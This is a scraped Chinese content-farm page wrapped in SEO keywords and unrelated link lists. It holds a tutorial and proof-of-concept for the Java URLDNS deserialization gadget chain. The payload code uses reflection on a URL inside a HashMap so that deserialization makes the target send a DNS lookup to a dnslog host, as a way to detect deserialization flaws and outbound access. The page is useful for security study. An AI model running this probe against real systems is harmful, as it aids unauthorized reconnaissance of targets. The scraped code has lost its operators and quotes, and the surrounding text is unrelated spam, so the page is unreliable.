当前位置: 首页 > news >正文

网站建设会议纪要python网站开发效率

网站建设会议纪要,python网站开发效率,二级域名的子域名,品牌好的佛山网站建设价格Java安全 反序列化(1) URLDNS链原理分析 文章目录 Java安全 反序列化(1) URLDNS链原理分析前置知识应用分析payload1.新建HashMap类2.新建URL类3.获取URL 的 Class对象4.通过反射访问URL内部变量5.通过反射为URL中类赋值6.调用HashMap#put方法传入key和value7.再次通过反射为UR…Java安全 反序列化(1) URLDNS链原理分析 文章目录 Java安全 反序列化(1) URLDNS链原理分析前置知识应用分析payload1.新建HashMap类2.新建URL类3.获取URL 的 Class对象4.通过反射访问URL内部变量5.通过反射为URL中类赋值6.调用HashMap#put方法传入key和value7.再次通过反射为URL类的hashcode赋值 原理分析1.进行序列化2.跟进HashMap的readobject方法3.跟进hash方法4.可以跟进URL的hashCode方法5.跟进handler.hashCode方法 细节问题为什吗要给URL类hashCode赋值两次 开始学习Java反序列化链–URLDNS 前置知识 请提前了解Java序列化和反序列化熟悉Java反射机制 应用 1.判断是否存在反序列化的点 2.判断目标是否出网 先上payload 后进行分析 import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap new HashMap();URL url new URL(http://wxzzwpgygc.dgrh3.cn);Class c url.getClass();Field fieldhashcodec.getDeclaredField(hashCode);fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(newFileOutputStream(ser.bin));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois new ObjectInputStream(newFileInputStream(ser.bin));ois.readObject();ois.close();} }可以触发dns请求 分析payload 1.新建HashMap类 HashMap hashmap new HashMap();什么是HashMap: 基于哈希表的实现的Map接口 我们简单理解为 URLDNS链的入口类知道这个东西就行了 2.新建URL类 URL url new URL(http://wxzzwpgygc.dgrh3.cn);3.获取URL 的 Class对象 Class c url.getClass();用于操作反射 4.通过反射访问URL内部变量 Field fieldhashcodec.getDeclaredField(hashCode);fieldhashcode.setAccessible(true);5.通过反射为URL中类赋值 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-16.调用HashMap#put方法传入key和value hashmap.put(url,2);hashmap.put(key,value) key 为前面新建的url类 value 为任意值 7.再次通过反射为URL类的hashcode赋值 fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询赋值URL类中的hashcode为-1 触发dns请求完成访问 原理分析 1.进行序列化 public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(newFileOutputStream(ser.bin));oos.writeObject(obj);oos.close();}serialize(hashmap); //传入的obj为hashmap那么反序列化会自动触发HashMap的readobject方法 我们可以调试分析一下 Ctrl-B跟进实现原理 2.跟进HashMap的readobject方法 在方法的最后调用了hash方法 3.跟进hash方法 进行判断只要key不为空 就 调用 key的hashCode()方法 我们传入的key是URL类的对象 所以调用的是URL#hashCode方法 4.可以跟进URL的hashCode方法 只有hashCode为-1 时 会进入hashCode handler.hashCode(this); this为当前对象的引用 5.跟进handler.hashCode方法 我们在新建URL类时 传入了我们的dnslog地址 getHostAddress进行DNS解析完成请求 细节问题 为什吗要给URL类hashCode赋值两次 fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询第一次查询的时候会进行缓存触发dns请求将URL.hashCode设置为-1,put时触发dns请求我们可以做个实验 import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class DnsTest {public static void main(String[] args) throws Exception {HashMap hashmap new HashMap();URL url new URL(http://rcjynkewns.dgrh3.cn); // Class c url.getClass(); // Field fieldhashcodec.getDeclaredField(hashCode); // fieldhashcode.setAccessible(true); // fieldhashcode.set(url,222); //第一次查询的时候会进行缓存所以让它不等于-1hashmap.put(url,2); // fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询 // serialize(hashmap); // unserialize();} // public static void serialize(Object obj) throws IOException { // ObjectOutputStream oos new ObjectOutputStream(new // FileOutputStream(ser.bin)); // oos.writeObject(obj); // oos.close(); // } // public static void unserialize() throws IOException, ClassNotFoundException // { // ObjectInputStream ois new ObjectInputStream(new // FileInputStream(ser.bin)); // ois.readObject(); // ois.close(); // } //} 只留下了hashmap的put方法 可以发现照样触发 为了避免误判 我们先将URL.hashCode属性赋值为 只要不是-1的值 hashmap.put()方法后 再通过反射修改URL.hashCode属性为-1 完成请求
http://www.hkea.cn/news/14522304/

相关文章:

  • 精品国内网站建设wordpress 加入 swf
  • 企业网站建设主要类型及选择做品牌网站哪个好点
  • 网站建设z亿玛酷1订制电脑网站转换手机网站怎么做
  • 江苏省建设厅网站建造师强制注销网站自动抢注
  • 网站标题就一个关键词做营销型网站费用
  • 宝石网站建设网站的栏目设计
  • 网站颜色搭配网站网页小游戏斗地主
  • 建设沙滩车官方网站广州分公司注册
  • 网站设计师和网页设计师网站建设的基本知识
  • 宁波网站开发建设公司网站搭建用什么语言
  • tk网站注册我要推广
  • 请人做网站注意事项手机app手机网站开发
  • 学校网站建设说明岳阳网站建设团队
  • 寮步营销型网站建设广东制作公司网站
  • 专业 网站设计公司建筑设计专业的网站
  • 注册网站会员会泄露信息吗微信小程序网页制作
  • 无锡专业做网站的公司织梦cms和帝国cms
  • 网站建设项目签约仪式举行局域网下怎么访问自己做的网站
  • 潍坊市网站建设wordpress怎么开发app
  • 丰台新乡网站建设电商网站设计理念
  • 模板网站自助建站专业做网站哪家便宜
  • 十堰城市建设网站5款免费的网站管理系统
  • 外国有没有中国代做数学作业的网站中国十大营销策划人
  • 网站技术解决方案是什么建站流程网站上线
  • 益阳网站设计公司云虚拟主机 wordpress
  • 枣庄有做网站的吗企业设计网站推荐
  • 网站建设模拟软件河南工程项目信息
  • 青岛网站制作工作室wordpress合并主题
  • 肇庆住房和城乡建设局网站电商运营工作很难做吗
  • 宿松县住房和城乡建设局网站便宜模板网站建设